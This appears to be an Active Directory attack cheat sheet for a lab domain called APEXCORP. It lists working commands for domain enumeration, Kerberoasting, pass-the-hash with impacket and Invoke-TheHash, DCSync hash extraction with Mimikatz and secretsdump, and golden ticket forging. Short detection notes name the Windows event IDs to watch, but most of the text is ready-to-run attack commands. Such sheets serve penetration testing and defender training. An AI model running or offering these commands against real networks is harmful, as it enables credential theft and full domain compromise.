ENUMERATION
net user /domain
net group "Domain Admins" /domain
Get-ADUser -Filter * -Properties *
Get-ADGroupMember "Domain Admins"
setspn -T APEXCORP -Q */*
KERBEROASTING
Request Kerberos service tickets for accounts with SPNs. Tickets are encrypted with the service account's hash — crack offline.
Get-ADUser -Filter {ServicePrincipalName -ne "$null"}
Invoke-Kerberoast -OutputFormat Hashcat | Out-File kerb.txt
Detection: Event ID 4769 — Kerberos Service Ticket requested with RC4 encryption (0x17)
PASS-THE-HASH
Use an NTLM hash to authenticate without the plaintext password. Works against NTLM-based services.
Invoke-TheHash -Type WMIExec -Target DC01 -Username svc-sql -Hash [NTLM]
impacket-psexec -hashes :[NTLM] svc-sql@10.10.18.10
Detection: Event ID 4624 — Logon Type 3, NtLmSsp authentication package (no Kerberos)
DCSYNC
Mimics a Domain Controller replication request to extract password hashes for any domain account including krbtgt.
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:APEXCORP.LOCAL /user:krbtgt"'
impacket-secretsdump -just-dc APEXCORP/svc-sql@10.10.18.10
Detection: Event ID 4662 — DS-Replication-Get-Changes-All right accessed on directory object
GOLDEN TICKET
Forge a Kerberos TGT using the krbtgt account hash. Grants access as any user to any service. Valid until krbtgt password is changed twice.
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:APEXCORP.LOCAL /sid:[SID] /krbtgt:[HASH] /ticket:golden.kirbi"'
kerberos::ptt golden.kirbi
Detection: Event ID 4769 — ticket with anomalous lifetime or RC4 encryption for sensitive accounts. Microsoft ATA/Defender for Identity flags PAC anomalies and domain SID mismatches.
DOMAIN SID
Get-ADDomain | Select-Object DomainSID
whoami /user